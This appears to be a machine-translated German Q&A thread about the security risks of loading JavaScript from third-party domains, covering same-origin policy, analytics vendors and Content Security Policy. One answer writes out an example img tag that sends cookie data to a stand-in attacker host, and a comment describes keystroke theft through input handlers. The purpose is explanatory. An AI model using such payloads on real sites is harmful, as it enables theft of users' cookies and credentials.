2010-01-15 2 views

Antwort

6

Es hat das Potenzial, eine große Sicherheitslücke, so dass Sie dieser Website vertrauen, die die JavaScript-Datei hostet.

Zum Beispiel, dass Code kann mehr Script-Tags und img-Tags in Ihrer Website injizieren, die sensible Daten auf eine dritte Partei weitergeben kann.

Davids Kommentar über die Same Origin Policy kann irreführend sein. Ein klassischer Weg, um Daten an einen entfernten Ort Relais ist einen img-Tag zu einer Remote-Domäne einzufügen:

<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info /> 

Wenn der JavaScript-Code auf dem Remote-Host geändert wurde, um dynamisch einen img-Tag wie diesen dann Ihrer Website zu injizieren könnte ein Sicherheitsloch haben. Einige dieser Probleme werden gemildert, z. B. die Verwendung von Nur-HTTP-Cookies, die nicht über JavaScript zugänglich sind.

Das Beispiel von Analysesystemen ist ein großer. Sie müssen darauf vertrauen, dass der Anbieter keine sensiblen Daten wie Ihre eigenen Cookies annimmt und an einen entfernten Ort sendet. Sie müssen auch dem Anbieter vertrauen, dass ihr-System sicher ist und dass ein Hacker die JavaScript-Dateien auf ihren Servern nicht ändern konnte. Analytik-Systeme arbeiten im Allgemeinen mit den gleichen Techniken, aber hoffentlich verwenden sie es zum Guten und nicht zum Bösen. In gewissem Sinne ist es nicht anders, als darüber nachzudenken, ob Ihre Entwickler guten, sicheren Code schreiben und ob sie eine geheime Hintertür einführen.

Als warum ist es erlaubt, es ist nur historisch. Das Internet wurde gar nicht mit Sicherheit konzipiert. Ob es sich um CSRF-Angriffe, Replay-Angriffe oder XSS-Angriffe handelt, all dies sind grundlegende Schwachstellen im Web-Design, die jetzt zu den Anliegen von Web-Entwicklern werden.

+0

Es stimmt, dass HTTP-Cookies nur durch Parsen der Header in JavaScript richtig extrahiert werden? – alex

+0

@alex - da bin ich mir nicht sicher. Das JavaScript könnte auch andere Dinge tun, die viel übler sind, wie zum Beispiel das Stehlen von Kennwörtern, indem Ereignis-Handler an Eingabe-Tags angehängt werden, die dann den Text an einen entfernten Server senden. – Eilon

3

Wo die Daten stammen aus irrelevant ist, dann ist es der Umfang, wo es, dass Angelegenheiten verwendet wird.

Sie sind nur das Skript aus einer anderen Domäne bekommen, es läuft immer noch im Rahmen der eigenen Seite, so dass es nicht von einem Zugriff auf Ressourcen in der Domäne hat, wo sie geladen.

In einer Situation, in der Sie domänenübergreifende Probleme haben, wie z. B. ein Iframe, der eine Seite aus einer anderen Domäne enthält, haben Sie zwei verschiedene Bereiche. Die Seite im iframe wird im Bereich der Domäne ausgeführt, von der sie geladen wurde, sodass sie auf Ressourcen in dieser Domäne zugreifen kann. Sie kann jedoch auf nichts auf der Seite zugreifen, die den Iframe hostet, da dies ein anderer Bereich ist.

. (Anmerkung: Ich weiß nicht, ob der Begriff „scope“ häufig in diesem Zusammenhang verwendet wird, könnte es ein Begriff sein, der besser ist es beschreibt)

0

Ich weiß nicht, warum wir es tun können . Sie können jedoch verhindern, dass dies geschieht, indem Sie Content Security Policy (CSP) verwenden, einen HTTP-Header, der von Ihrer Webanwendung gesendet wird und deklariert, dass JavaScript nur von Domänen geladen werden darf, die Sie explizit zulassen.

Verwandte Themen